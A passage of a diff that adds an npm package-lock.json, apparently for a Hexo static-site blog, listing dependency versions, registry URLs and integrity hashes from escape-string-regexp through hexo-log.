"version": "1.0.5", + "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz", + "integrity": "sha1-G2HAViGQqN/2rjuyzwIAyhMLhtQ=" + }, + "esprima": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/esprima/-/esprima-4.0.1.tgz", + "integrity": "sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A==" + }, + "esutils": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/esutils/-/esutils-2.0.2.tgz", + "integrity": "sha1-Cr9PHKpbyx96nYrMbepPqqBLrJs=" + }, + "etag": { + "version": "1.8.1", + "resolved": "https://registry.npmjs.org/etag/-/etag-1.8.1.tgz", + "integrity": "sha1-Qa4u62XvpiJorr/qg6x9eSmbCIc=" + }, + "execa": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/execa/-/execa-1.0.0.tgz", + "integrity": "sha512-adbxcyWV46qiHyvSp50TKt05tB4tK3HcmF7/nxfAdhnox83seTDbwnaqKO4sXRy7roHAIFqJP/Rw/AuEbX61LA==", + "requires": { + "cross-spawn": "^6.0.0", + "get-stream": "^4.0.0", + "is-stream": "^1.1.0", + "npm-run-path": "^2.0.0", + "p-finally": "^1.0.0", + "signal-exit": "^3.0.0", + "strip-eof": "^1.0.0" + }, + "dependencies": { + "cross-spawn": { + "version": "6.0.5", + "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-6.0.5.tgz", + "integrity": "sha512-eTVLrBSt7fjbDygz805pMnstIs2VTBNkRm0qxZd+M7A5XDdxVRWO5MxGBXZhjY4cqLYLdtrGqRf8mBPmzwSpWQ==", + "requires": { + "nice-try": "^1.0.4", + "path-key": "^2.0.1", + "semver": "^5.5.0", + "shebang-command": "^1.2.0", + "which": "^1.2.9" + } + } + } + }, + "expand-brackets": { + "version": "0.1.5", + "resolved": "https://registry.npmjs.org/expand-brackets/-/expand-brackets-0.1.5.tgz", + "integrity": "sha1-3wcoTjQqgHzXM6xa9yQR5YHRF3s=", + "requires": { + "is-posix-bracket": "^0.1.0" + } + }, + "expand-range": { + "version": "1.8.2", + "resolved": "https://registry.npmjs.org/expand-range/-/expand-range-1.8.2.tgz", + "integrity": "sha1-opnv/TNf4nIeuujiV+x5ZE/IUzc=", + "requires": { + "fill-range": "^2.1.0" + } + }, + "extend-shallow": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-3.0.2.tgz", + "integrity": "sha1-Jqcarwc7OfshJxcnRhMcJwQCjbg=", + "requires": { + "assign-symbols": "^1.0.0", + "is-extendable": "^1.0.1" + }, + "dependencies": { + "is-extendable": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-1.0.1.tgz", + "integrity": "sha512-arnXMxT1hhoKo9k1LZdmlNyJdDDfy2v0fXjFlmok4+i8ul/6WlbVge9bhM74OpNPQPMGUToDtz+KXa1PneJxOA==", + "requires": { + "is-plain-object": "^2.0.4" + } + } + } + }, + "extglob": { + "version": "0.3.2", + "resolved": "https://registry.npmjs.org/extglob/-/extglob-0.3.2.tgz", + "integrity": "sha1-Lhj/PS9JqydlzskCPwEdqo2DSaE=", + "requires": { + "is-extglob": "^1.0.0" + } + }, + "filename-regex": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/filename-regex/-/filename-regex-2.0.1.tgz", + "integrity": "sha1-wcS5vuPglyXdsQa3XB4wH+LxiyY=" + }, + "fill-range": { + "version": "2.2.4", + "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-2.2.4.tgz", + "integrity": "sha512-cnrcCbj01+j2gTG921VZPnHbjmdAf8oQV/iGeV2kZxGSyfYjjTyY79ErsK1WJWMpw6DaApEX72binqJE+/d+5Q==", + "requires": { + "is-number": "^2.1.0", + "isobject": "^2.0.0", + "randomatic": "^3.0.0", + "repeat-element": "^1.1.2", + "repeat-string": "^1.5.2" + } + }, + "finalhandler": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/finalhandler/-/finalhandler-1.1.0.tgz", + "integrity": "sha1-zgtoVbRYU+eRsvzGgARtiCU91/U=", + "requires": { + "debug": "2.6.9", + "encodeurl": "~1.0.1", + "escape-html": "~1.0.3", + "on-finished": "~2.3.0", + "parseurl": "~1.3.2", + "statuses": "~1.3.1", + "unpipe": "~1.0.0" + } + }, + "find-up": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/find-up/-/find-up-3.0.0.tgz", + "integrity": "sha512-1yD6RmLI1XBfxugvORwlck6f75tYL+iR0jqwsOrOxMZyGYqUuDhJ0l4AXdO1iX/FTs9cBAMEk1gWSEx1kSbylg==", + "requires": { + "locate-path": "^3.0.0" + } + }, + "for-in": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/for-in/-/for-in-1.0.2.tgz", + "integrity": "sha1-gQaNKVqBQuwKxybG4iAMMPttXoA=" + }, + "for-own": { + "version": "0.1.5", + "resolved": "https://registry.npmjs.org/for-own/-/for-own-0.1.5.tgz", + "integrity": "sha1-UmXGgaTylNq78XyVCbZ2OqhFEM4=", + "requires": { + "for-in": "^1.0.1" + } + }, + "fragment-cache": { + "version": "0.2.1", + "resolved": "https://registry.npmjs.org/fragment-cache/-/fragment-cache-0.2.1.tgz", + "integrity": "sha1-QpD60n8T6Jvn8zeZxrxaCr//DRk=", + "requires": { + "map-cache": "^0.2.2" + } + }, + "fresh": { + "version": "0.5.2", + "resolved": "https://registry.npmjs.org/fresh/-/fresh-0.5.2.tgz", + "integrity": "sha1-PYyt2Q2XZWn6g1qx+OSyOhBWBac=" + }, + "fs.realpath": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/fs.realpath/-/fs.realpath-1.0.0.tgz", + "integrity": "sha1-FQStJSMVjKpA20onh8sBQRmU6k8=" + }, + "fsevents": { + "version": "1.2.9", + "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-1.2.9.tgz", + "integrity": "sha512-oeyj2H3EjjonWcFjD5NvZNE9Rqe4UW+nQBU2HNeKw0koVLEFIhtyETyAakeAM3de7Z/SW5kcA+fZUait9EApnw==", + "optional": true, + "requires": { + "nan": "^2.12.1", + "node-pre-gyp": "^0.12.0" + }, + "dependencies": { + "abbrev": { + "version": "1.1.1", + "bundled": true, + "optional": true + }, + "ansi-regex": { + "version": "2.1.1", + "bundled": true + }, + "aproba": { + "version": "1.2.0", + "bundled": true, + "optional": true + }, + "are-we-there-yet": { + "version": "1.1.5", + "bundled": true, + "optional": true, + "requires": { + "delegates": "^1.0.0", + "readable-stream": "^2.0.6" + } + }, + "balanced-match": { + "version": "1.0.0", + "bundled": true + }, + "brace-expansion": { + "version": "1.1.11", + "bundled": true, + "requires": { + "balanced-match": "^1.0.0", + "concat-map": "0.0.1" + } + }, + "chownr": { + "version": "1.1.1", + "bundled": true, + "optional": true + }, + "code-point-at": { + "version": "1.1.0", + "bundled": true, + "optional": true + }, + "concat-map": { + "version": "0.0.1", + "bundled": true + }, + "console-control-strings": { + "version": "1.1.0", + "bundled": true, + "optional": true + }, + "core-util-is": { + "version": "1.0.2", + "bundled": true, + "optional": true + }, + "debug": { + "version": "4.1.1", + "bundled": true, + "optional": true, + "requires": { + "ms": "^2.1.1" + } + }, + "deep-extend": { + "version": "0.6.0", + "bundled": true, + "optional": true + }, + "delegates": { + "version": "1.0.0", + "bundled": true, + "optional": true + }, + "detect-libc": { + "version": "1.0.3", + "bundled": true, + "optional": true + }, + "fs-minipass": { + "version": "1.2.5", + "bundled": true, + "optional": true, + "requires": { + "minipass": "^2.2.1" + } + }, + "fs.realpath": { + "version": "1.0.0", + "bundled": true, + "optional": true + }, + "gauge": { + "version": "2.7.4", + "bundled": true, + "optional": true, + "requires": { + "aproba": "^1.0.3", + "console-control-strings": "^1.0.0", + "has-unicode": "^2.0.0", + "object-assign": "^4.1.0", + "signal-exit": "^3.0.0", + "string-width": "^1.0.1", + "strip-ansi": "^3.0.1", + "wide-align": "^1.1.0" + } + }, + "glob": { + "version": "7.1.3", + "bundled": true, + "optional": true, + "requires": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.0.4", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + } + }, + "has-unicode": { + "version": "2.0.1", + "bundled": true, + "optional": true + }, + "iconv-lite": { + "version": "0.4.24", + "bundled": true, + "optional": true, + "requires": { + "safer-buffer": ">= 2.1.2 < 3" + } + }, + "ignore-walk": { + "version": "3.0.1", + "bundled": true, + "optional": true, + "requires": { + "minimatch": "^3.0.4" + } + }, + "inflight": { + "version": "1.0.6", + "bundled": true, + "optional": true, + "requires": { + "once": "^1.3.0", + "wrappy": "1" + } + }, + "inherits": { + "version": "2.0.3", + "bundled": true, + "optional": true + }, + "ini": { + "version": "1.3.5", + "bundled": true, + "optional": true + }, + "is-fullwidth-code-point": { + "version": "1.0.0", + "bundled": true, + "optional": true, + "requires": { + "number-is-nan": "^1.0.0" + } + }, + "isarray": { + "version": "1.0.0", + "bundled": true, + "optional": true + }, + "minimatch": { + "version": "3.0.4", + "bundled": true, + "requires": { + "brace-expansion": "^1.1.7" + } + }, + "minimist": { + "version": "0.0.8", + "bundled": true + }, + "minipass": { + "version": "2.3.5", + "bundled": true, + "requires": { + "safe-buffer": "^5.1.2", + "yallist": "^3.0.0" + } + }, + "minizlib": { + "version": "1.2.1", + "bundled": true, + "optional": true, + "requires": { + "minipass": "^2.2.1" + } + }, + "mkdirp": { + "version": "0.5.1", + "bundled": true, + "requires": { + "minimist": "0.0.8" + } + }, + "ms": { + "version": "2.1.1", + "bundled": true, + "optional": true + }, + "needle": { + "version": "2.3.0", + "bundled": true, + "optional": true, + "requires": { + "debug": "^4.1.0", + "iconv-lite": "^0.4.4", + "sax": "^1.2.4" + } + }, + "node-pre-gyp": { + "version": "0.12.0", + "bundled": true, + "optional": true, + "requires": { + "detect-libc": "^1.0.2", + "mkdirp": "^0.5.1", + "needle": "^2.2.1", + "nopt": "^4.0.1", + "npm-packlist": "^1.1.6", + "npmlog": "^4.0.2", + "rc": "^1.2.7", + "rimraf": "^2.6.1", + "semver": "^5.3.0", + "tar": "^4" + } + }, + "nopt": { + "version": "4.0.1", + "bundled": true, + "optional": true, + "requires": { + "abbrev": "1", + "osenv": "^0.1.4" + } + }, + "npm-bundled": { + "version": "1.0.6", + "bundled": true, + "optional": true + }, + "npm-packlist": { + "version": "1.4.1", + "bundled": true, + "optional": true, + "requires": { + "ignore-walk": "^3.0.1", + "npm-bundled": "^1.0.1" + } + }, + "npmlog": { + "version": "4.1.2", + "bundled": true, + "optional": true, + "requires": { + "are-we-there-yet": "~1.1.2", + "console-control-strings": "~1.1.0", + "gauge": "~2.7.3", + "set-blocking": "~2.0.0" + } + }, + "number-is-nan": { + "version": "1.0.1", + "bundled": true, + "optional": true + }, + "object-assign": { + "version": "4.1.1", + "bundled": true, + "optional": true + }, + "once": { + "version": "1.4.0", + "bundled": true, + "optional": true, + "requires": { + "wrappy": "1" + } + }, + "os-homedir": { + "version": "1.0.2", + "bundled": true, + "optional": true + }, + "os-tmpdir": { + "version": "1.0.2", + "bundled": true, + "optional": true + }, + "osenv": { + "version": "0.1.5", + "bundled": true, + "optional": true, + "requires": { + "os-homedir": "^1.0.0", + "os-tmpdir": "^1.0.0" + } + }, + "path-is-absolute": { + "version": "1.0.1", + "bundled": true, + "optional": true + }, + "process-nextick-args": { + "version": "2.0.0", + "bundled": true, + "optional": true + }, + "rc": { + "version": "1.2.8", + "bundled": true, + "optional": true, + "requires": { + "deep-extend": "^0.6.0", + "ini": "~1.3.0", + "minimist": "^1.2.0", + "strip-json-comments": "~2.0.1" + }, + "dependencies": { + "minimist": { + "version": "1.2.0", + "bundled": true, + "optional": true + } + } + }, + "readable-stream": { + "version": "2.3.6", + "bundled": true, + "optional": true, + "requires": { + "core-util-is": "~1.0.0", + "inherits": "~2.0.3", + "isarray": "~1.0.0", + "process-nextick-args": "~2.0.0", + "safe-buffer": "~5.1.1", + "string_decoder": "~1.1.1", + "util-deprecate": "~1.0.1" + } + }, + "rimraf": { + "version": "2.6.3", + "bundled": true, + "optional": true, + "requires": { + "glob": "^7.1.3" + } + }, + "safe-buffer": { + "version": "5.1.2", + "bundled": true + }, + "safer-buffer": { + "version": "2.1.2", + "bundled": true, + "optional": true + }, + "sax": { + "version": "1.2.4", + "bundled": true, + "optional": true + }, + "semver": { + "version": "5.7.0", + "bundled": true, + "optional": true + }, + "set-blocking": { + "version": "2.0.0", + "bundled": true, + "optional": true + }, + "signal-exit": { + "version": "3.0.2", + "bundled": true, + "optional": true + }, + "string-width": { + "version": "1.0.2", + "bundled": true, + "optional": true, + "requires": { + "code-point-at": "^1.0.0", + "is-fullwidth-code-point": "^1.0.0", + "strip-ansi": "^3.0.0" + } + }, + "string_decoder": { + "version": "1.1.1", + "bundled": true, + "optional": true, + "requires": { + "safe-buffer": "~5.1.0" + } + }, + "strip-ansi": { + "version": "3.0.1", + "bundled": true, + "requires": { + "ansi-regex": "^2.0.0" + } + }, + "strip-json-comments": { + "version": "2.0.1", + "bundled": true, + "optional": true + }, + "tar": { + "version": "4.4.8", + "bundled": true, + "optional": true, + "requires": { + "chownr": "^1.1.1", + "fs-minipass": "^1.2.5", + "minipass": "^2.3.4", + "minizlib": "^1.1.1", + "mkdirp": "^0.5.0", + "safe-buffer": "^5.1.2", + "yallist": "^3.0.2" + } + }, + "util-deprecate": { + "version": "1.0.2", + "bundled": true, + "optional": true + }, + "wide-align": { + "version": "1.1.3", + "bundled": true, + "optional": true, + "requires": { + "string-width": "^1.0.2 || 2" + } + }, + "wrappy": { + "version": "1.0.2", + "bundled": true + }, + "yallist": { + "version": "3.0.3", + "bundled": true + } + } + }, + "get-caller-file": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/get-caller-file/-/get-caller-file-1.0.3.tgz", + "integrity": "sha512-3t6rVToeoZfYSGd8YoLFR2DJkiQrIiUrGcjvFX2mDw3bn6k2OtwHN0TNCLbBO+w8qTvimhDkv+LSscbJY1vE6w==" + }, + "get-stream": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-4.1.0.tgz", + "integrity": "sha512-GMat4EJ5161kIy2HevLlr4luNjBgvmj413KaQA7jt4V8B4RDsfpHk7WQ9GVqfYyyx8OS/L66Kox+rJRNklLK7w==", + "requires": { + "pump": "^3.0.0" + } + }, + "get-value": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/get-value/-/get-value-2.0.6.tgz", + "integrity": "sha1-3BXKHGcjh8p2vTesCjlbogQqLCg=" + }, + "glob": { + "version": "6.0.4", + "resolved": "https://registry.npmjs.org/glob/-/glob-6.0.4.tgz", + "integrity": "sha1-DwiGD2oVUSey+t1PnOJLGqtuTSI=", + "optional": true, + "requires": { + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "2 || 3", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + } + }, + "glob-base": { + "version": "0.3.0", + "resolved": "https://registry.npmjs.org/glob-base/-/glob-base-0.3.0.tgz", + "integrity": "sha1-27Fk9iIbHAscz4Kuoyi0l98Oo8Q=", + "requires": { + "glob-parent": "^2.0.0", + "is-glob": "^2.0.0" + } + }, + "glob-parent": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-2.0.0.tgz", + "integrity": "sha1-gTg9ctsFT8zPUzbaqQLxgvbtuyg=", + "requires": { + "is-glob": "^2.0.0" + } + }, + "globals": { + "version": "9.18.0", + "resolved": "https://registry.npmjs.org/globals/-/globals-9.18.0.tgz", + "integrity": "sha512-S0nG3CLEQiY/ILxqtztTWH/3iRRdyBLw6KMDxnKMchrtbj2OFmehVh0WUCfW3DUrIgx/qFrJPICrq4Z4sTR9UQ==" + }, + "good-listener": { + "version": "1.2.2", + "resolved": "https://registry.npmjs.org/good-listener/-/good-listener-1.2.2.tgz", + "integrity": "sha1-1TswzfkxPf+33JoNR3CWqm0UXFA=", + "optional": true, + "requires": { + "delegate": "^3.1.2" + } + }, + "graceful-fs": { + "version": "4.1.15", + "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.1.15.tgz", + "integrity": "sha512-6uHUhOPEBgQ24HM+r6b/QwWfZq+yiFcipKFrOFiBEnWdy5sdzYoi+pJeQaPI5qOLRFqWmAXUPQNsielzdLoecA==" + }, + "has-ansi": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/has-ansi/-/has-ansi-2.0.0.tgz", + "integrity": "sha1-NPUEnOHs3ysGSa8+8k5F7TVBbZE=", + "requires": { + "ansi-regex": "^2.0.0" + } + }, + "has-flag": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=" + }, + "has-value": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/has-value/-/has-value-1.0.0.tgz", + "integrity": "sha1-GLKB2lhbHFxR3vJMkw7SmgvmsXc=", + "requires": { + "get-value": "^2.0.6", + "has-values": "^1.0.0", + "isobject": "^3.0.0" + }, + "dependencies": { + "isobject": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", + "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=" + } + } + }, + "has-values": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/has-values/-/has-values-1.0.0.tgz", + "integrity": "sha1-lbC2P+whRmGab+V/51Yo1aOe/k8=", + "requires": { + "is-number": "^3.0.0", + "kind-of": "^4.0.0" + }, + "dependencies": { + "is-number": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/is-number/-/is-number-3.0.0.tgz", + "integrity": "sha1-JP1iAaR4LPUFYcgQJ2r8fRLXEZU=", + "requires": { + "kind-of": "^3.0.2" + }, + "dependencies": { + "kind-of": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", + "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", + "requires": { + "is-buffer": "^1.1.5" + } + } + } + }, + "kind-of": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-4.0.0.tgz", + "integrity": "sha1-IIE989cSkosgc3hpGkUGb65y3Vc=", + "requires": { + "is-buffer": "^1.1.5" + } + } + } + }, + "hexo": { + "version": "3.8.0", + "resolved": "https://registry.npmjs.org/hexo/-/hexo-3.8.0.tgz", + "integrity": "sha512-qMk0TZ+ErKMD25R+HMHFvbyTAcKszmGZYtQHT2pzVnZgitkJCShZ7b2qDbedtWBBizhutNbKkhQ4D3Dqivaviw==", + "requires": { + "abbrev": "^1.0.7", + "archy": "^1.0.0", + "bluebird": "^3.4.0", + "chalk": "^2.3.1", + "cheerio": "0.22.0", + "hexo-cli": "^1.1.0", + "hexo-front-matter": "^0.2.2", + "hexo-fs": "^0.2.0", + "hexo-i18n": "^0.2.1", + "hexo-log": "^0.2.0", + "hexo-util": "^0.6.3", + "js-yaml": "^3.6.1", + "lodash": "^4.17.5", + "minimatch": "^3.0.4", + "moment": "^2.19.4", + "moment-timezone": "^0.5.14", + "nunjucks": "^3.1.2", + "pretty-hrtime": "^1.0.2", + "resolve": "^1.5.0", + "strip-ansi": "^4.0.0", + "strip-indent": "^2.0.0", + "swig-extras": "0.0.1", + "swig-templates": "^2.0.2", + "text-table": "^0.2.0", + "tildify": "^1.2.0", + "titlecase": "^1.1.2", + "warehouse": "^2.2.0" + }, + "dependencies": { + "ansi-styles": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-2.2.1.tgz", + "integrity": "sha1-tDLdM1i2NM914eRmQ2gkBTPB3b4=" + }, + "hexo-cli": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/hexo-cli/-/hexo-cli-1.1.0.tgz", + "integrity": "sha512-IWQPppwgmj1iBUcP5mpcMg3Tre6a8Qlr8ejXw6naZiJNSepSgh4mS3KiNPKDa2qQIgPDqJYJzNVFLw+RLA9CkA==", + "requires": { + "abbrev": "^1.0.7", + "bluebird": "^3.4.0", + "chalk": "^1.1.3", + "command-exists": "^1.2.0", + "hexo-fs": "^0.2.0", + "hexo-log": "^0.2.0", + "hexo-util": "^0.6.0", + "minimist": "^1.2.0", + "object-assign": "^4.1.0", + "resolve": "^1.5.0", + "tildify": "^1.2.0" + }, + "dependencies": { + "chalk": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-1.1.3.tgz", + "integrity": "sha1-qBFcVeSnAv5NFQq9OHKCKn4J/Jg=", + "requires": { + "ansi-styles": "^2.2.1", + "escape-string-regexp": "^1.0.2", + "has-ansi": "^2.0.0", + "strip-ansi": "^3.0.0", + "supports-color": "^2.0.0" + } + }, + "strip-ansi": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-3.0.1.tgz", + "integrity": "sha1-ajhfuIU9lS1f8F0Oiq+UJ43GPc8=", + "requires": { + "ansi-regex": "^2.0.0" + } + } + } + }, + "supports-color": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-2.0.0.tgz", + "integrity": "sha1-U10EXOa2Nj+kARcIRimZXp3zJMc=" + } + } + }, + "hexo-bunyan": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/hexo-bunyan/-/hexo-bunyan-1.0.0.tgz", + "integrity": "sha512-RymT8Ck+K77mLt9BEYNb4uyfC7RIQnU5N3laXowMrS28jj2h89VHJCOnhV00mmta4fHRqNa07kP1Hrn17nvMkQ==", + "requires": { + "moment": "^2.10.6", + "mv": "~2", + "safe-json-stringify": "~1" + } + }, + "hexo-deployer-git": { + "version": "0.3.1", + "resolved": "https://registry.npmjs.org/hexo-deployer-git/-/hexo-deployer-git-0.3.1.tgz", + "integrity": "sha512-JSwSmTSknGpaiooGXwmP7sAhoSNW3c+xmBiCc5yyrvRSfQ3zIYWjmcqNXSj8m2DmheqQNgt5D4M7quYjw+L6tA==", + "requires": { + "babel-eslint": "^7.2.1", + "bluebird": "^3.5.0", + "chalk": "^1.1.3", + "hexo-fs": "^0.2.0", + "hexo-util": "^0.6.0", + "moment": "^2.18.0", + "swig": "^1.4.2" + }, + "dependencies": { + "ansi-styles": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-2.2.1.tgz", + "integrity": "sha1-tDLdM1i2NM914eRmQ2gkBTPB3b4=" + }, + "camelcase": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-1.2.1.tgz", + "integrity": "sha1-m7UwTS4LVmmLLHWLCKPqqdqlijk=" + }, + "chalk": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-1.1.3.tgz", + "integrity": "sha1-qBFcVeSnAv5NFQq9OHKCKn4J/Jg=", + "requires": { + "ansi-styles": "^2.2.1", + "escape-string-regexp": "^1.0.2", + "has-ansi": "^2.0.0", + "strip-ansi": "^3.0.0", + "supports-color": "^2.0.0" + } + }, + "source-map": { + "version": "0.1.34", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.1.34.tgz", + "integrity": "sha1-p8/omux7FoLDsZjQrPtH19CQVms=", + "requires": { + "amdefine": ">=0.0.4" + } + }, + "strip-ansi": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-3.0.1.tgz", + "integrity": "sha1-ajhfuIU9lS1f8F0Oiq+UJ43GPc8=", + "requires": { + "ansi-regex": "^2.0.0" + } + }, + "supports-color": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-2.0.0.tgz", + "integrity": "sha1-U10EXOa2Nj+kARcIRimZXp3zJMc=" + }, + "swig": { + "version": "1.4.2", + "resolved": "https://registry.npmjs.org/swig/-/swig-1.4.2.tgz", + "integrity": "sha1-QIXKBFM2kQS11IPihBs5t64aq6U=", + "requires": { + "optimist": "~0.6", + "uglify-js": "~2.4" + } + }, + "uglify-js": { + "version": "2.4.24", + "resolved": "https://registry.npmjs.org/uglify-js/-/uglify-js-2.4.24.tgz", + "integrity": "sha1-+tV1XB4Vd2WLsG/5q25UjJW+vW4=", + "requires": { + "async": "~0.2.6", + "source-map": "0.1.34", + "uglify-to-browserify": "~1.0.0", + "yargs": "~3.5.4" + } + }, + "window-size": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/window-size/-/window-size-0.1.0.tgz", + "integrity": "sha1-VDjNLqk7IC76Ohn+iIeu58lPnJ0=" + }, + "wordwrap": { + "version": "0.0.2", + "resolved": "https://registry.npmjs.org/wordwrap/-/wordwrap-0.0.2.tgz", + "integrity": "sha1-t5Zpu0LstAn4PVg8rVLKF+qhZD8=" + }, + "yargs": { + "version": "3.5.4", + "resolved": "https://registry.npmjs.org/yargs/-/yargs-3.5.4.tgz", + "integrity": "sha1-2K/49mXpTDS9JZvevRv68N3TU2E=", + "requires": { + "camelcase": "^1.0.2", + "decamelize": "^1.0.0", + "window-size": "0.1.0", + "wordwrap": "0.0.2" + } + } + } + }, + "hexo-front-matter": { + "version": "0.2.3", + "resolved": "https://registry.npmjs.org/hexo-front-matter/-/hexo-front-matter-0.2.3.tgz", + "integrity": "sha1-x8qO9CDqNr2F6ECKLoyb9J76YF4=", + "requires": { + "js-yaml": "^3.6.1" + } + }, + "hexo-fs": { + "version": "0.2.3", + "resolved": "https://registry.npmjs.org/hexo-fs/-/hexo-fs-0.2.3.tgz", + "integrity": "sha512-rLB1rMVUW3csAljvJgHfyjemL0BrmcUZfBf9hJe6S0pA53igFa3ON0PFwomvoLs1Wdmjs9Awnw9Tru4PjWFSlQ==", + "requires": { + "bluebird": "^3.4.0", + "chokidar": "^1.5.2", + "escape-string-regexp": "^1.0.5", + "graceful-fs": "^4.1.4" + } + }, + "hexo-generator-archive": { + "version": "0.1.5", + "resolved": "https://registry.npmjs.org/hexo-generator-archive/-/hexo-generator-archive-0.1.5.tgz", + "integrity": "sha512-jPbMtibqkJnAX3hCwhYhK3r6cqy9OKQsVEScjk7LDok+iPmFmkKCNdU/OccxGe1CWAZpT+ta4+LknwNeHG2G4w==", + "requires": { + "hexo-pagination": "0.0.2", + "object-assign": "^2.0.0" + }, + "dependencies": { + "object-assign": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/object-assign/-/object-assign-2.1.1.tgz", + "integrity": "sha1-Q8NuXVaf+OSBbE76i+AtJpZ8GKo=" + } + } + }, + "hexo-generator-category": { + "version": "0.1.3", + "resolved": "https://registry.npmjs.org/hexo-generator-category/-/hexo-generator-category-0.1.3.tgz", + "integrity": "sha1-uealhiUwqDvdfaTIGcG58+TMtLI=", + "requires": { + "hexo-pagination": "0.0.2", + "object-assign": "^2.0.0" + }, + "dependencies": { + "object-assign": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/object-assign/-/object-assign-2.1.1.tgz", + "integrity": "sha1-Q8NuXVaf+OSBbE76i+AtJpZ8GKo=" + } + } + }, + "hexo-generator-index": { + "version": "0.2.1", + "resolved": "https://registry.npmjs.org/hexo-generator-index/-/hexo-generator-index-0.2.1.tgz", + "integrity": "sha1-kEIin8rHmq9wBXXaGTMr8/fuXF0=", + "requires": { + "hexo-pagination": "0.0.2", + "object-assign": "^4.0.1" + } + }, + "hexo-generator-search": { + "version": "2.4.0", + "resolved": "https://registry.npmjs.org/hexo-generator-search/-/hexo-generator-search-2.4.0.tgz", + "integrity": "sha512-470q6Cpu6xHIPMXN+rQjCQkn/ii4e8XJRBXCmKs+B1jGQNrT7K3geqfyd5pqGiGi6bh5yY+mNqwGw5r2sZZtzA==", + "requires": { + "nunjucks": "^3.0.1", + "utils-merge": "^1.0.0" + } + }, + "hexo-generator-tag": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/hexo-generator-tag/-/hexo-generator-tag-0.2.0.tgz", + "integrity": "sha1-xXFYRrtB5X2cIMHWbX2yGhq/emI=", + "requires": { + "hexo-pagination": "0.0.2", + "object-assign": "^4.0.1" + } + }, + "hexo-i18n": { + "version": "0.2.1", + "resolved": "https://registry.npmjs.org/hexo-i18n/-/hexo-i18n-0.2.1.tgz", + "integrity": "sha1-hPFBQyvwnYtVjth4xygWS20c1t4=", + "requires": { + "sprintf-js": "^1.0.2" + } + }, + "hexo-log": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/hexo-log/-/hexo-log-0.2.0.tgz", + "integrity": "sha512-fzoc+GQexxPPILTjoOQILnA3ZG2MFgqMBVel4xvJ11pXptw9+f97ynTgDAExXafyp9Nz2ChXRuqlCYgPtZSlxQ==", + "requires": { + "chalk": "^1.1.1", + "hexo-bunyan": "^1.0.0" + }, + "dependencies": { + "ansi-styles": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-2.2.1.tgz", + "integrity": "sha1-tDLdM1i2NM914eRmQ2gkBTPB3b4=" + }, + "chalk": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-1.1.3.tgz", + "integrity": "sha1-qBFcVeSnAv5NFQq9OHKCKn4J/Jg=", + "requires": { + "ansi-styles": "^2.2.1", + "escape-string-regexp": "^1.0.2", + "has-ansi": "^2.0.0", + "strip-ansi": "^3.0.0", + "supports-color": "^2.0.0" + } + }, + "strip-ansi": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-3.0.1.tgz", + "integrity": 